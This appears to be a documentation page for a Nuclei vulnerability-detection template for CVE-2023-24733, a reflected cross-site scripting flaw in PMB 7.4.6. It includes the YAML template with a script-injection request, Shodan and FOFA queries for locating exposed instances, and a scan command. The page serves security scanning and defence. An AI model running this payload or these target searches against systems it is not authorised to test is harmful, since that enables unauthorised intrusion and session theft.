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PMB 7.4.6 - Cross-Site Scripting

ID: CVE-2023-24733

Severity: medium

Author: r3Y3r53

Tags: cve,cve2023,unauth,xss,pmb,pmb_project,sigb

Description

Section titled “Description”

PMB 7.4.6 contains a cross-site scripting vulnerability via the query parameter at /admin/convert/export_z3950_new.php. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

YAML Source

Section titled “YAML Source”
id: CVE-2023-24733


info:
  name: PMB 7.4.6 - Cross-Site Scripting
  author: r3Y3r53
  severity: medium
  description: |
    PMB 7.4.6 contains a cross-site scripting vulnerability via the query parameter at /admin/convert/export_z3950_new.php. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement of the affected website.
  remediation: |
    Apply the latest security patch or upgrade to a non-vulnerable version of PMB.
  reference:
    - https://github.com/AetherBlack/CVE/blob/main/PMB/readme.md
    - https://github.com/AetherBlack/CVE/tree/main/PMB
    - https://nvd.nist.gov/vuln/detail/CVE-2023-24733
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2023-24733
    cwe-id: CWE-79
    epss-score: 0.00099
    epss-percentile: 0.41025
    cpe: cpe:2.3:a:sigb:pmb:7.4.6:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: sigb
    product: pmb
    shodan-query:
      - http.favicon.hash:1469328760
      - http.html:"pmb group"
    fofa-query:
      - body="pmb group"
      - icon_hash=1469328760
  tags: cve,cve2023,unauth,xss,pmb,pmb_project,sigb


http:
  - method: GET
    path:
      - "{{BaseURL}}/pmb/admin/convert/export_z3950_new.php?command=search&query=%3Cscript%3Ealert(document.domain);%3C/script%3E=or"


    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '3@1=<script>alert(document.domain)</script>@'


      - type: word
        part: header
        words:
          - "text/html"


      - type: status
        status:
          - 200
# digest: 490a0046304402206cbfec513b807643f10769421c9ad6d1e3cc84d91cc7ae017e9f6c3290dfa9df0220505a928acea2ede9e10bd8b15889d8bca89af606c3e2db523db17d0743bdfd03:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2023/CVE-2023-24733.yaml"

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